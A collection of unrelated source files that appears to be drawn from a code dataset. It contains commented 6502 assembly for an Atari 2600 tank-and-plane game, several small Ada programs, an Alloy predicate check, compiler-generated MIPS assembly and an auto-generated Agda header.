AND #$03 ; bits 0,1=maze (playfield) type.
TAX ; send it to X.
LDA GAMVAR
BPL IFgo ; Branch not plane game, PF_PONG=GAMVAR
AND #$08 ; Test for clouds
BEQ IF80 ; Branch if no clouds
LDX #$03 ; change "maze type" in X to 3 ("clouds")
BPL IFskip ; Unconditional skip to next test,
; leaving PF_PONG set to 0.
IF80 LDA #$80 ; Change PF_PONG to #$80
; (enable playfield, no Pong)
IFgo STA PF_PONG ; store GAMVAR or #$80 in PF_PONG.
IFskip LDA GAMVAR ; Next test..
ASL
ASL ; Do this again....
BIT GAMVAR
BMI IFnoPlane ; Branch if a plane game.
STA WSYNC ; This MUST be something that dropped
; through the cracks, there is NO reason!
STA BILLIARD ; Store GAMVAR*4 in 84 (bit 6 = Billiard Hit)
AND #$80 ; IF it's a tank game.
IFnoPlane
STA GUIDED ; set guided missile flag.
;
; GUIDED is ZERO if a tank game
; it is negative if a guided missile game,
; it is overflowed if a machine gun game.
; (Inapplicable in tank games, hence the
; previous branch trick)
;
LDA #>PF0_0 ; Store page of first PF map
STA LORES+1 ; as high order byte
STA LORES+3 ; for all of these pointers,
STA LORES+5 ; 'cause that's where it is.
;
; Store the proper offsets for each column of
; playfield from the vectors given
;
LDA PLFPNT,X
STA RESP0 ; Reset player 0 while we're at it.
STA LORES
LDA PLFPNT+4,X
STA LORES+2
LDA PLFPNT+8,X
STA LORES+4
RTS
; ------------------------------------------------------------
;
; LoaD STELla
;
; Set the number and size of player sprites, color, and
; disable the joysticks if game is not in play
;
LDSTEL LDA GAMVAR
AND #$87
BMI LDmult
;
; If bit 7 is set, we are playing with one or more
; planes. If not, well, we can only have one tank,
; so...
;
LDA #$00
LDmult ASL
TAX
LDA WIDTHS,X ; The TIA's NUSIZ registers make
STA NUSIZ0 ; it as easy to play with two or
LDA WIDTHS+1,X ; three planes as it is for one
STA NUSIZ1 ; freakin' huge bomber.
LDA GAMVAR
AND #$C0
LSR
LSR
LSR
LSR ; Our hardware is now in bits 3 and 2.
TAY ; Of the Y-register.
;
; Render joysticks immobile if game not in play, and
; select player and field colors according to Y
;
LDA GameOn ; Enable joysticks via bit 1
STA SWCHB ; of $FF game-on value
EOR #$FF ; now $FF=no game, $00=game on
AND GameTimer ; Cycle tank colors only when NO
STA TEMP1 ; game on (attract mode)
LDX #$FF
LDA SWCHB
AND #$08 ; Color/BW switch
BNE LDcolor ; Branch if set to Color
LDY #$10 ; Force B&W colors
LDX #$0F
LDcolor STX TEMP
LDX #$03 ; We loop 3 times to get 4 values
LDcol0 LDA ColorTbl,Y
EOR TEMP1 ; Apply color-cycle if no game on
AND TEMP ; Apply B&W massage
STA COLUP0,X ; Color the real item.
STA Color0,X ; Color the virtual item. This can
; be changd, e.g. invisible tanks
STA XColor0,X ; Color the deep virtual item. This
; is used to restore ColorX.
INY
DEX
BPL LDcol0
RTS
;
; ------------------------------------------------------------
;
; Zero out zero-page memory starting with ($A3+X) MOD $100,
; through $A2 wrapping around at $100.
;
; Calling with:
; X=$5D will clear $00-$A2
; X=$DD will clear $80-$A2
; X=$DF will clear $82-$A2
; X=$E6 will clear $89-$A2
;
; Returns with zero bit set.
;
ClearMem
LDA #$00
ClrLoop INX
STA $A2,X
BNE ClrLoop ;Continue until X rolls over.
RTS
; Patterns for numbers
;
NUMBERS .byte $0E ; | XXX | $F5C5 Leading zero is not drawn
.byte $0A ; | X X | $F5C6 because it's never used.
.byte $0A ; | X X | $F5C7
.byte $0A ; | X X | $F5C8
.byte $0E ; | XXX | $F5C9
.byte $22 ; | X X | $F5CA
.byte $22 ; | X X | $F5CB
.byte $22 ; | X X | $F5CC
.byte $22 ; | X X | $F5CD
.byte $22 ; | X X | $F5CE
.byte $EE ; |XXX XXX | $F5CF
.byte $22 ; | X X | $F5D0
.byte $EE ; |XXX XXX | $F5D1
.byte $88 ; |X X | $F5D2
.byte $EE ; |XXX XXX | $F5D3
.byte $EE ; |XXX XXX | $F5D4
.byte $22 ; | X X | $F5D5
.byte $66 ; | XX XX | $F5D6
.byte $22 ; | X X | $F5D7
.byte $EE ; |XXX XXX | $F5D8
.byte $AA ; |X X X X | $F5D9
.byte $AA ; |X X X X | $F5DA
.byte $EE ; |XXX XXX | $F5DB
.byte $22 ; | X X | $F5DC
.byte $22 ; | X X | $F5DD
.byte $EE ; |XXX XXX | $F5DE
.byte $88 ; |X X | $F5DF
.byte $EE ; |XXX XXX | $F5E0
.byte $22 ; | X X | $F5E1
.byte $EE ; |XXX XXX | $F5E2
.byte $EE ; |XXX XXX | $F5E3
.byte $88 ; |X X | $F5E4
.byte $EE ; |XXX XXX | $F5E5
.byte $AA ; |X X X X | $F5E6
.byte $EE ; |XXX XXX | $F5E7
.byte $EE ; |XXX XXX | $F5E8
.byte $22 ; | X X | $F5E9
.byte $22 ; | X X | $F5EA
.byte $22 ; | X X | $F5EB
.byte $22 ; | X X | $F5EC
.byte $EE ; |XXX XXX | $F5ED
.byte $AA ; |X X X X | $F5EE
.byte $EE ; |XXX XXX | $F5EF
.byte $AA ; |X X X X | $F5F0
.byte $EE ; |XXX XXX | $F5F1
.byte $EE ; |XXX XXX | $F5F2
.byte $AA ; |X X X X | $F5F3
.byte $EE ; |XXX XXX | $F5F4
.byte $22 ; | X X | $F5F5
.byte $EE ; |XXX XXX | $F5F6
;
; Horizontal and vertical offsets for movement by orientation.
; Basic table is $10 bytes long (22.5-degree increments), but
; XoffBase is added to it to alter for game options. High
; nibble is raw HMPx value for horizontal offset, low nibble
; is vertical offset in scan lines.
;
Xoffsets
.BYTE $F8 ,$F7 ,$F6 ,$06 ;XoffBase=0
.BYTE $06 ,$06 ,$16 ,$17
.BYTE $18 ,$19 ,$1A ,$0A
.BYTE $0A ,$0A ,$FA ,$F9
.BYTE $F8 ,$F7 ,$F6 ,$F6 ;XoffBase=$10
.BYTE $06 ,$16 ,$16 ,$17
.BYTE $18 ,$19 ,$1A ,$1A
.BYTE $0A ,$FA ,$FA ,$F9
.BYTE $E8 ,$E6 ,$E4 ,$F4 ;XoffBase=$20
.BYTE $04 ,$14 ,$24 ,$26 ;normal missiles
.BYTE $28 ,$2A ,$2C ,$1C
.BYTE $0C ,$FC ,$EC ,$EA
; This Xoffsets entry is also used directly for "bumping"
; a player after a hit or to back away from playfield collision
;
HDGTBL .BYTE $C8 ,$C4 ,$C0 ,$E0 ;XoffBase=$30
.BYTE $00 ,$20 ,$40 ,$44 ;machine guns, "bump"
.BYTE $48 ,$4C ,$4F ,$2F
.BYTE $0F ,$EF ,$CF ,$CC
;
; Player velocity momentum adjustments. Table of two-byte
; entries, indexed by player's desired final velocity. Even
; locations go to MVadjA to be applied during the first half of
; the FwdTimer cycle, and odd locations goe to MVadjB to be
; applied during the second half.
;
; During each half, the byte is rotated left one bit; if
; the bit which emerges is 1, XoffBase is tweaked by $10
; to adjust the velocity for that frame only. Since FwdTimer
; goes through 16 cycles or 2 8-bit halves in its course from,
; $F0 to $00, this gives us a bitwise "adjust this frame" flag
; for each frame in the course of FwdTimer's run. This is
; used to obscure the suddenness of transition from one
; velocity to another.
;
; The adjustment is only done once for each two ON bits
; since the MPace 1 bit is used for the adjustment, and
; MPace is INCed in the same code block that does the
; tweak. The tweak consists of replacing whatever XoffBase
; the final velocity calls for with $10, an intermediate value.
;
MVtable .BYTE $00 ,$00
.BYTE $80 ,$80
.BYTE $84 ,$20
.BYTE $88 ,$88
.BYTE $92 ,$48
.BYTE $A4 ,$A4
.BYTE $A9 ,$52
.BYTE $AA ,$AA
.BYTE $D5 ,$AA
.BYTE $DA ,$DA
.BYTE $DB ,$6D
.BYTE $EE ,$EE
;
; These are all the sprite shapes.
; The most I suspect any of you will do is
; modify these. And/or the number shapes.
;
TankShape
.byte $00 ; | | $F64F
.byte $FC ; |XXXXXX | $F650
.byte $FC ; |XXXXXX | $F651
.byte $38 ; | XXX | $F652
.byte $3F ; | XXXXXX| $F653
.byte $38 ; | XXX | $F654
.byte $FC ; |XXXXXX | $F655
.byte $FC ; |XXXXXX | $F656
.byte $1C ; | XXX | $F657
.byte $78 ; | XXXX | $F658
.byte $FB ; |XXXXX XX| $F659
.byte $7C ; | XXXXX | $F65A
.byte $1C ; | XXX | $F65B
.byte $1F ; | XXXXX| $F65C
.byte $3E ; | XXXXX | $F65D
.byte $18 ; | XX | $F65E
.byte $19 ; | XX X| $F65F
.byte $3A ; | XXX X | $F660
.byte $7C ; | XXXXX | $F661
.byte $FF ; |XXXXXXXX| $F662
.byte $DF ; |XX XXXXX| $F663
.byte $0E ; | XXX | $F664
.byte $1C ; | XXX | $F665
.byte $18 ; | XX | $F666
.byte $24 ; | X X | $F667
.byte $64 ; | XX X | $F668
.byte $79 ; | XXXX X| $F669
.byte $FF ; |XXXXXXXX| $F66A
.byte $FF ; |XXXXXXXX| $F66B
.byte $4E ; | X XXX | $F66C
.byte $0E ; | XXX | $F66D
.byte $04 ; | X | $F66E
.byte $08 ; | X | $F66F
.byte $08 ; | X | $F670
.byte $6B ; | XX X XX| $F671
.byte $7F ; | XXXXXXX| $F672
.byte $7F ; | XXXXXXX| $F673
.byte $7F ; | XXXXXXX| $F674
.byte $63 ; | XX XX| $F675
.byte $63 ; | XX XX| $F676
.byte $24 ; | X X | $F677
.byte $26 ; | X XX | $F678
.byte $9E ; |X XXXX | $F679
.byte $FF ; |XXXXXXXX| $F67A
.byte $FF ; |XXXXXXXX| $F67B
.byte $72 ; | XXX X | $F67C
.byte $70 ; | XXX | $F67D
.byte $20 ; | X | $F67E
.byte $98 ; |X XX | $F67F
.byte $5C ; | X XXX | $F680
.byte $3E ; | XXXXX | $F681
.byte $FF ; |XXXXXXXX| $F682
.byte $FB ; |XXXXX XX| $F683
.byte $70 ; | XXX | $F684
.byte $38 ; | XXX | $F685
.byte $18 ; | XX | $F686
.byte $38 ; | XXX | $F687
.byte $1E ; | XXXX | $F688
.byte $DF ; |XX XXXXX| $F689
.byte $3E ; | XXXXX | $F68A
.byte $38 ; | XXX | $F68B
.byte $F8 ; |XXXXX | $F68C
.byte $7C ; | XXXXX | $F68D
.byte $18 ; | XX | $F68E
JetShape
.byte $60 ; | XX | $F68F
.byte $70 ; | XXX | $F690
.byte $78 ; | XXXX | $F691
.byte $FF ; |XXXXXXXX| $F692
.byte $78 ; | XXXX | $F693
.byte $70 ; | XXX | $F694
.byte $60 ; | XX | $F695
.byte $00 ; | | $F696
.byte $00 ; | | $F697
.byte $C1 ; |XX X| $F698
.byte $FE ; |XXXXXXX | $F699
.byte $7C ; | XXXXX | $F69A
.byte $78 ; | XXXX | $F69B
.byte $30 ; | XX | $F69C
.byte $30 ; | XX | $F69D
.byte $30 ; | XX | $F69E
.byte $00 ; | | $F69F
.byte $03 ; | XX| $F6A0
.byte $06 ; | XX | $F6A1
.byte $FC ; |XXXXXX | $F6A2
.byte $FC ; |XXXXXX | $F6A3
.byte $3C ; | XXXX | $F6A4
.byte $0C ; | XX | $F6A5
.byte $0C ; | XX | $F6A6
.byte $02 ; | X | $F6A7
.byte $04 ; | X | $F6A8
.byte $0C ; | XX | $F6A9
.byte $1C ; | XXX | $F6AA
.byte $FC ; |XXXXXX | $F6AB
.byte $FC ; |XXXXXX | $F6AC
.byte $1E ; | XXXX | $F6AD
.byte $06 ; | XX | $F6AE
.byte $10 ; | X | $F6AF
.byte $10 ; | X | $F6B0
.byte $10 ; | X | $F6B1
.byte $38 ; | XXX | $F6B2
.byte $7C ; | XXXXX | $F6B3
.byte $FE ; |XXXXXXX | $F6B4
.byte $FE ; |XXXXXXX | $F6B5
.byte $10 ; | X | $F6B6
.byte $40 ; | X | $F6B7
.byte $20 ; | X | $F6B8
.byte $30 ; | XX | $F6B9
.byte $38 ; | XXX | $F6BA
.byte $3F ; | XXXXXX| $F6BB
.byte $3F ; | XXXXXX| $F6BC
.byte $78 ; | XXXX | $F6BD
.byte $60 ; | XX | $F6BE
.byte $40 ; | X | $F6BF
.byte $60 ; | XX | $F6C0
.byte $3F ; | XXXXXX| $F6C1
.byte $1F ; | XXXXX| $F6C2
.byte $1E ; | XXXX | $F6C3
.byte $1E ; | XXXX | $F6C4
.byte $18 ; | XX | $F6C5
.byte $18 ; | XX | $F6C6
.byte $00 ; | | $F6C7
.byte $83 ; |X XX| $F6C8
.byte $7F ; | XXXXXXX| $F6C9
.byte $3E ; | XXXXX | $F6CA
.byte $1E ; | XXXX | $F6CB
.byte $0C ; | XX | $F6CC
.byte $0C ; | XX | $F6CD
.byte $0C ; | XX | $F6CE
PlaneShape
.byte $00 ; | | $F6CF
.byte $8E ; |X XXX | $F6D0
.byte $84 ; |X X | $F6D1
.byte $FF ; |XXXXXXXX| $F6D2
.byte $FF ; |XXXXXXXX| $F6D3
.byte $04 ; | X | $F6D4
.byte $0E ; | XXX | $F6D5
.byte $00 ; | | $F6D6
.byte $00 ; | | $F6D7
.byte $0E ; | XXX | $F6D8
.byte $04 ; | X | $F6D9
.byte $8F ; |X XXXX| $F6DA
.byte $7F ; | XXXXXXX| $F6DB
.byte $72 ; | XXX X | $F6DC
.byte $07 ; | XXX| $F6DD
.byte $00 ; | | $F6DE
.byte $10 ; | X | $F6DF
.byte $36 ; | XX XX | $F6E0
.byte $2E ; | X XXX | $F6E1
.byte $0C ; | XX | $F6E2
.byte $1F ; | XXXXX| $F6E3
.byte $B2 ; |X XX X | $F6E4
.byte $E0 ; |XXX | $F6E5
.byte $40 ; | X | $F6E6
.byte $24 ; | X X | $F6E7
.byte $2C ; | X XX | $F6E8
.byte $5D ; | X XXX X| $F6E9
.byte $1A ; | XX X | $F6EA
.byte $1A ; | XX X | $F6EB
.byte $30 ; | XX | $F6EC
.byte $F0 ; |XXXX | $F6ED
.byte $60 ; | XX | $F6EE
.byte $18 ; | XX | $F6EF
.byte $5A ; | X XX X | $F6F0
.byte $7E ; | XXXXXX | $F6F1
.byte $5A ; | X XX X | $F6F2
.byte $18 ; | XX | $F6F3
.byte $18 ; | XX | $F6F4
.byte $18 ; | XX | $F6F5
.byte $78 ; | XXXX | $F6F6
.byte $34 ; | XX X | $F6F7
.byte $36 ; | XX XX | $F6F8
.byte $5A ; | X XX X | $F6F9
.byte $78 ; | XXXX | $F6FA
.byte $2C ; | X XX | $F6FB
.byte $0C ; | XX | $F6FC
.byte $06 ; | XX | $F6FD
.byte $0C ; | XX | $F6FE
.byte $08 ; | X | $F6FF
.byte $6C ; | XX XX | $F700
.byte $70 ; | XXX | $F701
.byte $B8 ; |X XXX | $F702
.byte $DC ; |XX XXX | $F703
.byte $4E ; | X XXX | $F704
.byte $07 ; | XXX| $F705
.byte $06 ; | XX | $F706
.byte $38 ; | XXX | $F707
.byte $10 ; | X | $F708
.byte $F0 ; |XXXX | $F709
.byte $7C ; | XXXXX | $F70A
.byte $4F ; | X XXXX| $F70B
.byte $E3 ; |XXX XX| $F70C
.byte $02 ; | X | $F70D
.byte $00 ; | | $F70E
;
; These are sub-pointers, used to set up the
; two-dimensional array at CTRLTBL.
;
CtrlBase .BYTE $00 ,$0B ,$16
;
; Two-dimensional array, 12x3.
;
; This array specifies what the joystick does
; in each game. Looking at it now the format looks
; like this:
;
; Low nybble = Amount to rotate object (signed)
; $00 = Not at all
; $01 = Clockwise (+1)
; $0F = Counter-clockwise (-1)
; High nybble = Speed to move object (unsigned)
; $00 = Not moving
; $F0 = Warp speed
;
; Observe the $FF's. Notice how indexing out of bounds with impossible
; joystick movements will cause strange behavior.
;
; Tank movement
; UP DOWN (No reverse)
CTRLTBL .BYTE $00 ,$10 ,$00 ,$FF
.BYTE $01 ,$11 ,$01 ,$FF ;LEFT
.BYTE $0F ,$1F ,$0F ;RIGHT
;
; Biplane movement (This is why controls are sideways)
; UP DOWN
.BYTE $50 ,$5F ,$51 ,$FF ;
.BYTE $30 ,$3F ,$31 ,$FF ;LEFT
.BYTE $70 ,$7F ,$71 ;RIGHT
;
; Jet fighter movement
; UP DOWN
.BYTE $90 ,$B0 ,$70 ,$FF ;
.BYTE $91 ,$B1 ,$71 ,$FF ;LEFT
.BYTE $9F ,$BF ,$7F ;RIGHT
;
;
; Sound information for different game types.
; Different tools of destruction make different
; sound.
;
; There is some more data below which looks to
; be other information; different machines at
; different speeds. The pitch table is 3D,
; having 12-entry records for each GAMSHP.
;
; Tanks Biplane, Jet Fighter
SNDV .BYTE $08 ,$02 ,$02 ; sound volumes
SNDC .BYTE $02 ,$03 ,$08 ; sound types
SNDP .BYTE $1D ,$05 ,$00 ; sound pitches indexed by velocity
.BYTE $00 ,$00 ,$00 ; for TANKS
.BYTE $00 ,$00 ,$00
.BYTE $00 ,$00 ,$00
.BYTE $00 ,$00 ,$1D ; for BIPLANES
.BYTE $1D ,$16 ,$16
.BYTE $0F ,$0F ,$00
.BYTE $00 ,$00 ,$00
.BYTE $00 ,$00 ,$00 ; for JETS
.BYTE $00 ,$00 ,$12
.BYTE $10 ,$10 ,$0C
.BYTE $0C ,$07 ,$07
;
; Player widths for various plane games.
; Through the miracle of the Atari 2600's NUSIZ
; register, the difference between a 1 vs. 1 game
; and a Bomber vs. 3 game is contained in just
; two bytes.
;
WIDTHS .BYTE $00 ,$00 ;1 vs. 1
.BYTE $01 ,$01 ;2 vs. 2
.BYTE $00 ,$03 ;1 vs. 3
.BYTE $27 ,$03 ;Bomber vs. 3
; Table of color combinations. Each 4 byte entry specifies
; Player 0, Player1, Playfield, and Background colors.
; (By a not-so-odd coincidence, these 4 color registers are
; addressed consecutively in the same order in the TIA.)
; Table is indexed by the high 2 bits of GAMVAR << 2, or
; forced to +$10 if B&W switch selected.
;
ColorTbl
byte $EA ,$3C ,$82 ,$44 ; 00 = Regular Tanks
.byte $32 ,$2C ,$8A ,$DA ; 01 = Tank Pong
.byte $80 ,$9C ,$DA ,$3A ; 10 = Jets
.byte $64 ,$A8 ,$DA ,$4A ; 11 = Biplanes
.byte $08 ,$04 ,$00 ,$0E ; special B&W
PF0_0 .byte $F0 ; |XXXX | $F779
.byte $10 ; | X | $F77A
.byte $10 ; | X | $F77B
.byte $10 ; | X | $F77C
.byte $10 ; | X | $F77D
.byte $10 ; | X | $F77E
.byte $10 ; | X | $F77F
.byte $10 ; | X | $F780
.byte $10 ; | X | $F781
.byte $10 ; | X | $F782
.byte $10 ; | X | $F783
.byte $10 ; | X | $F784
PF1_0 .byte $FF ; |XXXXXXXX| $F785
.byte $00 ; | | $F786
.byte $00 ; | | $F787
.byte $00 ; | | $F788
.byte $38 ; | XXX | $F789
.byte $00 ; | | $F78A
.byte $00 ; | | $F78B
.byte $00 ; | | $F78C
.byte $60 ; | XX | $F78D
.byte $20 ; | X | $F78E
.byte $20 ; | X | $F78F
.byte $23 ; | X XX| $F790
PF2_0 .byte $FF ; |XXXXXXXX| $F791
.byte $80 ; |X | $F792
.byte $80 ; |X | $F793
.byte $00 ; | | $F794
.byte $00 ; | | $F795
.byte $00 ; | | $F796
.byte $1C ; | XXX | $F797
.byte $04 ; | X | $F798
.byte $00 ; | | $F799
.byte $00 ; | | $F79A
.byte $00 ; | | $F79B
.byte $00 ; | | $F79C
PF1_1 .byte $FF ; |XXXXXXXX| $F79D
PF0_3 .byte $00 ; | | $F79E
.byte $00 ; | | $F79F
.byte $00 ; | | $F7A0
PF1_3 .byte $00 ; | | $F7A1
.byte $00 ; | | $F7A2
.byte $00 ; | | $F7A3
.byte $00 ; | | $F7A4
.byte $00 ; | | $F7A5
.byte $00 ; | | $F7A6
.byte $00 ; | | $F7A7
.byte $00 ; | | $F7A8
.byte $00 ; | | $F7A9
.byte $07 ; | XXX| $F7AA
.byte $1F ; | XXXXX| $F7AB
.byte $3F ; | XXXXXX| $F7AC
.byte $7F ; | XXXXXXX| $F7AD
PF1_2 .byte $FF ; |XXXXXXXX| $F7AE
.byte $00 ; | | $F7AF
.byte $00 ; | | $F7B0
.byte $00 ; | | $F7B1
.byte $00 ; | | $F7B2
.byte $00 ; | | $F7B3
.byte $00 ; | | $F7B4
.byte $00 ; | | $F7B5
.byte $00 ; | | $F7B6
.byte $60 ; | XX | $F7B7
.byte $20 ; | X | $F7B8
.byte $21 ; | X X| $F7B9
PF2_2 .byte $FF ; |XXXXXXXX| $F7BA
.byte $00 ; | | $F7BB
.byte $00 ; | | $F7BC
.byte $00 ; | | $F7BD
.byte $80 ; |X | $F7BE
.byte $80 ; |X | $F7BF
.byte $80 ; |X | $F7C0
.byte $80 ; |X | $F7C1
.byte $00 ; | | $F7C2
.byte $00 ; | | $F7C3
.byte $00 ; | | $F7C4
.byte $07 ; | XXX| $F7C5
; Addresses for Sprite Graphics
SPRLO .BYTE #<TankShape, #<PlaneShape, #<JetShape
SPRHI .BYTE #>TankShape, #>PlaneShape, #>JetShape
; Playfield address data. Kernal timing requires that
; these addresses point 4 bytes before the real start
; of data.
;
; Complex , None
; Simple , Clouds
PLFPNT .BYTE #<(PF0_0-4) ,#<(PF0_0-4)
.BYTE #<(PF0_0-4) ,#<(PF0_3-4) ;PF0
.BYTE #<(PF1_0-4) ,#<(PF1_1-4)
.BYTE #<(PF1_2-4) ,#<(PF1_3-4) ;PF1
.BYTE #<(PF2_0-4) ,#<(PF1_1-4)
.BYTE #<(PF2_2-4) ,#<(PF1_3-4) ;PF2
; Game features, indexed by game number-1.
;
; bits
; 1,0: TANKS PLANES
; X0 = Normal
; X1 = Invisible
; 00 = 1 vs. 1
; 01 = 2 vs. 2
; 10 = 3 vs. 1
; 11 = 3 vs. Giant
; 3,2: 01 = No maze
; 10 = Simple maze
; 00 = Complex maze
; 1X = Clouds
; 0X = No clouds
; 4: 0 = Direct Hit Normal Gun
; 1 = Billiard Hit Machine Gun
; 5: 0 = Straight Missiles
; 1 = Guided Missiles
; 6: 0 = Tanks Jets
; 1 = Tank Pong Biplanes
; 7: 0 = Tank Game
; 1 = Plane Game
;
VARMAP .BYTE $24 ;Game 1: 0010 0100 TANK
.BYTE $28 ;Game 2: 0010 1000
.BYTE $08 ;Game 3: 0000 1000
.BYTE $20 ;Game 4: 0010 0000
.BYTE $00 ;Game 5: 0000 0000
.BYTE $48 ;Game 6: 0100 1000 TANK PONG
.BYTE $40 ;Game 7: 0100 0000
.BYTE $54 ;Game 8: 0101 0100
.BYTE $58 ;Game 9: 0101 1000
.BYTE $25 ;Game 10: 0010 0101 INVISIBLE TANK
.BYTE $29 ;Game 11: 0010 1001
.BYTE $49 ;Game 12: 0100 1001 INVISIBLE TANK-PONG
.BYTE $55 ;Game 13: 0101 0101
.BYTE $59 ;Game 14: 0101 1001
.BYTE $A8 ;Game 15: 1010 1000 BIPLANE
.BYTE $88 ;Game 16: 1000 1000
.BYTE $98 ;Game 17: 1001 1000
.BYTE $90 ;Game 18: 1001 0000
.BYTE $A1 ;Game 19: 1010 0001
.BYTE $83 ;Game 20: 1000 0011
.BYTE $E8 ;Game 21: 1110 1000 JET FIGHTER
.BYTE $C8 ;Game 22: 1100 1000
.BYTE $E0 ;Game 23: 1110 0000
.BYTE $C0 ;Game 24: 1100 0000
.BYTE $E9 ;Game 25: 1110 1001
.BYTE $E2 ;Game 26: 1110 0010
.BYTE $C1 ;Game 27: 1100 0001
;
; $FF to signify end of game variations.
;
.BYTE $FF
; If you were changing this to a 4K cart, you'd
; want to change this ORG to $FFFC. You might also
; want to move AudPitch out of the interrupt vector...
;
ORG $F7FC
.word $f000 ; Reset IRQ
;
AudPitch
.BYTE $0F, $11 ; Motor sound pitch table by player
|
json.adb
|
Feqzz/film-parser
| 0 |
15071
|
package body Json is
F : Ada.Text_IO.File_Type;
Now : Ada.Calendar.Time := Ada.Calendar.Clock;
OutputFileName : String := "films-watched.json";
----------------
-- AppendFilm --
----------------
procedure AppendFilm (title, year, score, imdb : String) is
begin
Ada.Text_IO.Open(F, Ada.Text_IO.Append_File, OutputFileName);
Ada.Text_IO.Put_Line(F, " {");
Ada.Text_IO.Put(F, " ""title"": """);
Ada.Text_IO.Put(F, title);
Ada.Text_IO.Put(F, """,");
Ada.Text_IO.New_Line(F);
Ada.Text_IO.Put(F, " ""year"": """);
Ada.Text_IO.Put(F, year);
Ada.Text_IO.Put(F, """,");
Ada.Text_IO.New_Line(F);
Ada.Text_IO.Put(F, " ""score"": """);
Ada.Text_IO.Put(F, score);
Ada.Text_IO.Put(F, """,");
Ada.Text_IO.New_Line(F);
Ada.Text_IO.Put(F, " ""imdb"": """);
Ada.Text_IO.Put(F, imdb);
Ada.Text_IO.Put(F, """");
Ada.Text_IO.New_Line(F);
Ada.Text_IO.Put_Line(F, " },");
Ada.Text_IO.Close(F);
end AppendFilm;
----------
-- Init --
----------
procedure Init is
begin
Ada.Text_IO.Create(F, Ada.Text_IO.Out_File, OutputFileName);
Ada.Text_IO.Put_Line(F, "{");
Ada.Text_IO.Put(F, " ""name"": ""Films watched");
Ada.Text_IO.Put(F, Integer'Image(Ada.Calendar.Day(Now)));
Ada.Text_IO.Put(F, Integer'Image(Ada.Calendar.Month(Now)));
Ada.Text_IO.Put(F, Integer'Image(Ada.Calendar.Year(Now)));
Ada.Text_IO.Put(F, """,");
Ada.Text_IO.New_Line(F);
Ada.Text_IO.Put_Line(F, " ""films"": [");
Ada.Text_IO.Close(F);
end Init;
-----------
-- Close --
-----------
procedure Close is
begin
Ada.Text_IO.Open(F, Ada.Text_IO.Append_File, OutputFileName);
Ada.Text_IO.Put_Line(F, " ]");
Ada.Text_IO.Put_Line(F, "}");
Ada.Text_IO.Close(F);
end Close;
end Json;
|
bugs/bug27.ada
|
daveshields/AdaEd
| 3 |
13236
|
<gh_stars>1-10
with text_io;
procedure bug4 is
x : integer := integer'first;
y : integer := integer'first + 1;
begin
text_io.put_line("X = " & integer'image(x));
text_io.put_line("Y = " & integer'image(y));
end bug4;
|
src/loggers/adabase-logger-facility.ads
|
jrmarino/AdaBase
| 30 |
4669
|
-- This file is covered by the Internet Software Consortium (ISC) License
-- Reference: ../../License.txt
with CommonText;
with AdaBase.Logger.Base.File;
with AdaBase.Logger.Base.Screen;
package AdaBase.Logger.Facility is
package CT renames CommonText;
package AL renames AdaBase.Logger.Base;
package ALF renames AdaBase.Logger.Base.File;
package ALS renames AdaBase.Logger.Base.Screen;
type LogFacility is tagged private;
type LogFacility_access is access all LogFacility;
type TAction is (attach, detach);
type TLogger is (file, screen);
ALREADY_ATTACHED : exception;
ALREADY_DETACHED : exception;
procedure standard_logger (facility : out LogFacility;
logger : TLogger;
action : TAction);
procedure set_log_file (facility : LogFacility;
filename : String);
procedure set_error_mode (facility : out LogFacility;
mode : Error_Modes);
function error_mode (facility : LogFacility) return Error_Modes;
procedure detach_custom_logger (facility : out LogFacility);
procedure attach_custom_logger (facility : out LogFacility;
logger_access : AL.BaseClass_Logger_access);
procedure log_nominal (facility : LogFacility;
driver : Driver_Type;
category : Log_Category;
message : CT.Text);
procedure log_problem
(facility : LogFacility;
driver : Driver_Type;
category : Log_Category;
message : CT.Text;
error_msg : CT.Text := CT.blank;
error_code : Driver_Codes := 0;
sqlstate : SQL_State := stateless;
break : Boolean := False);
private
type LogFacility is tagged record
prop_error_mode : Error_Modes := warning;
listener_file : ALF.File_Logger_access := null;
listener_screen : ALS.Screen_Logger_access := null;
listener_custom : AL.BaseClass_Logger_access := null;
end record;
logger_file : aliased ALF.File_Logger;
logger_screen : aliased ALS.Screen_Logger;
end AdaBase.Logger.Facility;
|
alloy4fun_models/trainstlt/models/7/kT9bqFLLfYKjFdMet.als
|
Kaixi26/org.alloytools.alloy
| 0 |
2198
|
open main
pred idkT9bqFLLfYKjFdMet_prop8 {
always ( all t:Train | (t.pos.signal in Signal-Green) implies t.pos' = t.pos )
}
pred __repair { idkT9bqFLLfYKjFdMet_prop8 }
check __repair { idkT9bqFLLfYKjFdMet_prop8 <=> prop8o }
|
examples/main1.adb
|
jorge-real/TTS
| 1 |
5971
|
with TTS_Example1;
with Ada.Exceptions; use Ada.Exceptions;
with Ada.Real_Time;
with Ada.Text_IO; use Ada.Text_IO;
procedure Main1 is
begin
TTS_Example1.Main;
delay until Ada.Real_Time.Time_Last;
exception
when E : others =>
Put_Line (Exception_Message (E));
end Main1;
|
compiler_back/temp/ExampleSmall.asm
|
cruzj6/orderUpCompiler
| 0 |
104107
|
<reponame>cruzj6/orderUpCompiler
.data
first: .word 0
second: .word 0
counter: .word 0
str1: .asciiz "Loop!
"
str2: .asciiz "Even Counter: "
str3: .asciiz "
"
str4: .asciiz "Odd Counter: "
str5: .asciiz "
"
.text
.globl main
main:
L1:
li $t1, 2
sw $t1, first
L3:
li $t2, 5
sw $t2, second
L4:
lw $t4, first
lw $t6, second
mult $t4, $t6
mflo $t5
move $t3, $t5
sw $t3, second
L5:
li $t7, 0
lw $t9, counter
move $t9, $t7
sw $t9, counter
L7:
lw $t8, second
lw $t2, counter
bge $t2, $t8, L6
L9:
li $v0, 4
la $a0, str1
syscall
L10:
lw $t6, counter
li $t8, 2
move $t7, $t6
rem $t7, $t7, $t8
lw $t9, counter
li $t2, 2
move $t1, $t9
rem $t1, $t1, $t2
move $t5, $t1
move $t3, $t5
bne $t3, 0, L12
L11:
li $v0, 4
la $a0, str2
syscall
L13:
li $v0, 1
lw, $a0 counter
syscall
L14:
li $v0, 4
la $a0, str5
syscall
j L8
L12:
L15:
li $v0, 4
la $a0, str4
syscall
L16:
li $v0, 1
lw, $a0 counter
syscall
L17:
li $v0, 4
la $a0, str5
syscall
L8:
lw $t2, counter
add $t2, $t2, 1
sw $t2, counter
j L7
L6:
L2:
li $v0,10
syscall
|
examples/simple/quantifierIn/quantifierIn-output.agda
|
Yiergot/vehicle
| 0 |
15424
|
<gh_stars>0
-- WARNING: This file was generated automatically by Vehicle
-- and should not be modified manually!
-- Metadata
-- - Agda version: 2.6.2
-- - AISEC version: 0.1.0.1
-- - Time generated: ???
open import Data.Unit
